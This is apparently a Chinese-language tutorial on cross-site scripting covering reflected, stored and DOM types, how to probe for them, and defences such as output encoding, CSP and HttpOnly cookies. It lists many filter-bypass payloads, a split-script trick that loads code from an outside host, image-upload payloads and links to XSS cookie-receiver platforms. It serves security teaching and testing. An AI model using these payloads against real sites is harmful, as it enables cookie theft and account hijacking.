XSS跨站脚本原理

当应用程序发送给浏览器的页面中包含用户提交的数据,但没有经过适当验证或转义时,就会导致跨站脚本漏洞

这个“跨”实际上属于浏览器的特性,而不是缺陷 (参考:浏览器同源策略)

不去直接钓鱼而是利用xss,就是因为同源策略,只有发布Cookie的网站才能读取Cookie

分类

反射型

出现在搜索栏,用户登录等地方,常用来窃取客户端的Cookie进行钓鱼欺骗。(需要用户去点击)

想要窃取cookie要满足两个条件:

1.用户点击攻击者构造的URL

2.访问被攻击的应用服务(即存在xss的网站)

存储型

出现在留言、评论、博客日志等交互处,直接影响Web服务器自身安全

DOM型

基于文档对象模型(Document Object Model)的一种漏洞

dom – xss 是通过url传入参数去控制触发的

假设应用程序返回的页面包含以下脚本:

<script>    var url = document.location;    url = unescape(url);    var message = url.substring(url.indexOf('message=') + 8,url.length);    document.write(message);</script>

把javascript代码作为message的参数,这段代码将会被动态的写入到页面中,

并像服务器返回代码一样得以执行。

DOM型与反射 型类似,都需要攻击者诱使用户点击专门设计的URL

推荐阅读: 记一次从DOM型XSS到RCE过程

危害

Cookie窃取

劫持用户Web行为

结合CSRF进行针对性攻击

查找并利用XSS漏洞

基本验证

"><script>alert(document.cookie)</script>

把这个字符串提交给每个应用程序页面的每个参数;

同时监控它的响应,如果攻击字符串原样出现在响应中,就可能存在XSS漏洞。

许多应用可能会经过黑名单等简单的初步过滤,试图阻止XSS攻击;

可以通过编码等方式绕过:

"><ScRiPt>alert(document.cookie)</ScRiPt>"%3e%3cscript%3ealert(document.cookie)%3c/script%3e"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>%00"><script>alert(document.cookie)</script>

当利用基于DOM的XSS漏洞时,攻击有效载荷并不在服务器的响应中返回,而是保存在浏览器的DOM中,并可被客户端javascript访问。

在这种情况下,以上基本验证无法发现XSS漏洞。

查找反射型XSS

利用以上的基本验证方法;

在每个输入点进行检查;

测试所有GET和POST请求;

检测HTTP请求消息头 (错误消息返回消息头的信息);

根据响应上下文的语法改变payload;

先办法绕过过滤和waf;

测试引入脚本的反射

例1,标签属性值:

假设返回页面中包含以下脚本:

<input type="text" name="name" value="test-text" >

很明显,利用xss的方法是终止包含字符串的双引号,结束<input>标签

"><script>alert(1)</script>

例2,javascript字符串:

假设返回页面中包含以下脚本:

<script>var a='test-text'; var b=123;...</script>

用分号终止语句

'; alert(1); var foo='

例3,包含URL的特性

假设返回页面中包含以下脚本:

<a href="test-text">Click here</a>html

这时,受控制的字符插入到一个<a>标签的href属性中。

这个属性可能包含一个使用javascript:协议的URL,利用:

javascript:alert(1);

脚本标签

事件处理器

有大量事件处理器可与各种标签结合使用,用于执行脚本。

一些示例,可在不需要任何用户交互的情况下执行脚本:

<style onreadystatechange=alert(1)></style><iframe onreadystatechange=alert(1)></iframe><object onerror=alert(1)></object><img type=image src=valid.gif onreadystatechange=alert(1)><input type=image src=valid.gif onreadystatechange=alert(1)><body onbeforeactivate=alert(1)></body><video src=1 onerror=alert(1)></video><audio src=1 onerror=alert(1)>

脚本伪协议

脚本伪协议可用在任何位置,以在需要URL的属性中执行行内脚本。

<object data=javascript:alert(1)></object><iframe src=javascript:alert(1)></iframe><event-source src=javascript:alert(1)></event-source>

避开过滤:HTML

标签名称

改变字符大小写

<iMg onerror=alert(1) src=a>

插入NULL字节

<[%00]img onerror=alert(1) src=a>

标签名称后的空格

一些可用于替代空格的字符

<img[%09]onerror=alert(1) src=a><img[%0d]onerror=alert(1) src=a><img[%0a]onerror=alert(1) src=a><img/"onerror=alert(1) src=a>

属性名称

绕开一些检查以on开头的过滤器

<img o[%00]nerror=alert(1) src=a>

属性分隔符,把多个属性分隔开

<img onerror='alert(1)'src=a>

属性值

可以用NULL字节或HTML编码属性值

<img onerror=a[%00]lert(1) src=a><img onerror=alert(1) src=a>

HTML编码 十六进制编码 base64编码 ASCII编码

以下属性可以被编码:

href=action=formaction=location=on*=name=background=poster=src=code=data= //只支持base64

字符集

有时可用一些非标准编码绕开过滤器

UTF-7、US-ASCII、UTF-16

拆分跨站:

当应用程序没有过滤<、>关键字却限制了字符长度时可用拆分跨站

<script>z='<script src=';/*​*/z+='test.c';/*​*/z+='n/1.js><0/script>';/*​*/document.write(z)</script>

最终执行

<script>​z='undefined<script src=test.cn/1.js></script>';​document.write(z)​</script>

避开过滤:脚本代码

有些过滤器可能阻止javascript关键字和表达式,有用的字符,比如引号、括号和圆点。

Unicode转义

<script>a\u006cert(1)</script>

如果能够使用eval命令,就能够将其它命令以字符串的格式传送给eval,从而执行其它 命令。

<script>eval('a\u006cert(1)');</script>

替代圆点

<script>alert(document['cookie'])</script><script>with(document)alert(cookie)</script>

查找并利用保存型XSS

确定保存型XSS漏洞的过程与前面描述的确定反射型XSS漏洞的过程类似。

但是,这两个过程之间也存在一些重要的区别;

在进行测试时必须记住这些区别,以确定尽可能多的漏洞。

(1) 向应用程序的每一个可能的位置提交一个特殊字符串后,必须反复检查应用程序的全部内容与功能;

(2) 如有可能,应检查管理员能够访问的区域,确定其中是否有可以被非管理用户控制的数据;

比如有些应用可以在浏览器查看日志,攻击者可留下恶意的HTML日志加以利用;

(3) 检查应用的整个流程,确保测试彻底,检查任何可控的带外通道,如HTTP消息头;

在上传文件中测试XSS

如果应用程序允许用户上传可被其它用户查看下载的文件,就会出现保存型XSS,这种漏洞常被人们忽略。

测试时,首先上传一个验证性的HTML文件。

如果该文件被接受,则尝试以正常方式下载该文件。

如果应用程序按照原样返回最初的文件,并且脚本被执行,则应用肯定易于受到攻击。

例:可把XSS的payload做成图片木马,上传到用户头像(用各种方法去绕过上传限制)

查找并利用DOM型的XSS漏洞

确定基于DOM型的XSS漏洞,一种有效的方法是,检查所有客户端JavaScript,

看其中是否使用任何可能会导致漏洞的DOM属性。

工具DOMTracer可自动完成这个测试过程。

检查每一段客户端JavaScript,看其中是否出现以下API

它们可用于访问通过一个专门设计的URL控制的DOM数据;

 document.location document.URL document.URLUnencoded document.referrer window.location

在每一个使用上述API的位置,仔细检查那里的代码,确定应用程序如何处理用户可控的数据;

以及是否可以使用专门设计的输入来执行JavaScript。

尤其注意检查并测试控制的数据被传送至以下任何一个API的情况

document.write()document.writeln()document.body.innerHtmleval()window.execScript()window.setInterval()window.setTimeout()

片段技巧:服务器不解析url中#后的内容

防止XSS攻击

防止反射型与保存型XSS漏洞

用户可控的数据未经适当的确认与净化就被复制到应用程序响应中,这是造成反射型与保存型XSS漏洞的根本原因

1.确认输入

数据不能太长

数据仅包含某组合法字符

数据与一个特殊的正则表达式相匹配

根据应用程序希望在字段中收到的数据类型,应尽可能的限制性的对姓名、电子邮件地址、账号等

应用不同的确认规则。

2.确认输出

如果应用程序将某位用户或第三方提交的数据复制到它的响应中,应对这些数据进行HTML编码,净化恶意代码。

3.消除危险插入点

应尽量避免直接在现有的JavaScript中插入用户可控的数据;

如果标签属性接受URL作为它的值,应避免嵌入用户的输入;

4.允许有限的HTML

一些应用程序允许用户以HTML格式提交即将插入到应用程序响应中的数据。

例如博客、论坛的富文本编辑器允许使用HTML书写。

有各种框架(如OWASP AntiSamy项目)可用于确认用户提交的HTML标记,以确保其中未包含任何执行JavaScript的方法。

防止基于DOM的XSS漏洞

造成这种漏洞并无法不需要将用户可控的数据复制到服务器响应中,所以上述防范方法对DOM型XSS无用。

应用程序应尽量避免使用客户端脚本处理DOM数据并把它插入到页面中。

如果无法避免,应使用以下两种方法防御DOM型XSS攻击

1.确认输入

客户端,确认将要插入到文档中的数据仅包含字母数字与空白符

<script>    var a = document.URL;    a = a.substring(a.indexOf("message=") + 8, a.length);    a = unescape(a);    var regex=/^(A-Za-z0-9+\s)*$/;    if (regex.test(a))        document.write(a);</script>

服务端,对URL数据进行严格确认

查询字符串中只有一个参数

参数名大小写检查

参数值仅包含数字字母

2.确认输出

在将用户可控的DOM数据插入到文档之前,进行HTML编码

<?php    function reinit(str)    {        var d = document.createElement('div');        d.appendChild(document.createTextNode(str));        return d.innerHTML;    }?>

其他 XSS 防范措施

虽然在渲染页面和执行js时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的

以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

禁止加载外域代码,防止复杂的攻击逻辑。

禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。

禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。

禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。

合理使用上报可以及时发现 XSS,利于尽快修复问题。

输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。

虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

HTTP-only

HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

验证码:防止脚本冒充用户提交危险操作。

xss工具

各种编码:https://github.com/evilcos/xssor2

XSS平台:https://github.com/firesunCN/BlueLotus_XSSReceiver

一些XSS扫描器

官网 软件对应科普文
BruteXSS Freebuf相关科普 汉化版
Xsser(☆) FreeBuf相关科普
XSSfrok Seebug作者教程
XSStrike FreeBuf相关科普

XSS跨站简析的更多相关文章

  1. XSS跨站及利用

    (一)软件测试环境以及搭建 测试环境:本地 XAMPP 1.7.1 测试软件:PHP168整站v5.0 软件下载地址 http://down2.php168.com/v2008.rar PHP.ini ...

  2. XSS跨站攻击

    目录 1 XSS跨站攻击简介 1 1.1 什么是XSS 1 1.2 XSS的分类 1 1.3 XSS的危害 1 2 XSS的攻击原理 1 2.1 本地式漏洞攻击 1 2.2 存储式漏洞攻击 2 2.3 ...

  3. 云锁Linux服务器安全软件安装及防护webshell、CC、XSS跨站攻击设置

    无论我们在使用电脑,还是使用VPS/服务器的时候,最为担心的就是服务器是否有安全问题,尤其是网站服务器再遭受攻击的时候如何得到防护.对于大 部分站长用户来说,我们可能只会使用基础的环境,如果真遇到问题 ...

  4. XSS跨站脚步攻击及防范

    XSS(Cross Site Script)跨站脚本攻击.它指的是恶意攻击者往Web 页面里插入恶 意html 代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而达到侵害用户 ...

  5. 修复XSS跨站漏洞

    XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤. 1.输入与输出 在HTML中,<,>,",',&都有比较特殊的意义.HTML标签,属性就是由这几个符合组成的.P ...

  6. 可以用到的XSS跨站语句

    我们常用的测试XSS跨站的语句一般是alert比如: <script>alert(“sex”)</script> <script>alert(/sex/)</ ...

  7. DVWA的Xss跨站总结

    Xss跨站总结 初级防护的代码 Poc:<script>alert(1)</script> 上图防护的代码 为输入的结果就为输出的结果 中级防护的代码 Poc:<scri ...

  8. Laravel5中防止XSS跨站攻击的方法

    本文实例讲述了Laravel5中防止XSS跨站攻击的方法.分享给大家供大家参考,具体如下: Laravel 5本身没有这个能力来防止xss跨站攻击了,但是这它可以使用Purifier 扩展包集成 HT ...

  9. WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

    核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...

随机推荐

  1. 2017 CVTE Windows开发一面 3.7

    下午3点接到了个广州打过来的电话,电话面试总体时间比较短,35分钟. 考察内容: 1.讲实习: 因人而异,将了之前公司做的项目,刚好和面的岗位匹配,面试官听完之后还不忘垂壁一下他们的产品. 2.C#事 ...

  2. qt5---事件过滤器

  3. springmvc手动渲染jsp

    因为需要MockHttpServletResponse对象来得到输出的内容,要引入的包 <dependency> <groupId>org.springframework< ...

  4. Linux培训教程lgzip命令详解和使用实例

    gzip不仅可以用来压缩大的.较少使用的文件以节省磁盘空间,还可以和tar命令一起构成Linux操作系统中比较流行的压缩文件格式.据统计,gzip命令对文本文件有60%-70%的压缩率. 1.命令格式 ...

  5. C# 两个进程之间通讯(管道通信 )

    #region  客户端        NamedPipeClientStream pipeClient =        new NamedPipeClientStream("localh ...

  6. 51 Nod 1134 最长递增子序列(经典问题回顾)

    1134 最长递增子序列  基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题  收藏  关注 给出长度为N的数组,找出这个数组的最长递增子序列.(递增子序列是指,子序列的元 ...

  7. Springboot 使用JPA

    Springboot 使用jpa maven依赖 <dependency> <groupId>org.springframework.boot</groupId> ...

  8. 6.集成算法boosting----AdaBoost算法

    1.提升算法 提升算法实为将一系列单一算法(如决策树,SVM等)单一算法组合在一起使得模型的准确率更高.这里先介绍两种Bagging(代表算法随机森林),Boosting(代表算法AdaBoost-即 ...

  9. ABI与ARM,X86的概念

    Android系统目前支持以下七种不同的CPU架构:ARMv5,ARMv7 (从2010年起),x86 (从2011年起),MIPS (从2012年起),ARMv8,MIPS64和x86_64 (从2 ...

  10. confluence -- 命令行备份还原

    备份:confluence每日凌晨2:00都在 /data/atlassian/application-data/confluence/backups/ 下生成备份包,其中包括文档,附件,用户 还原: ...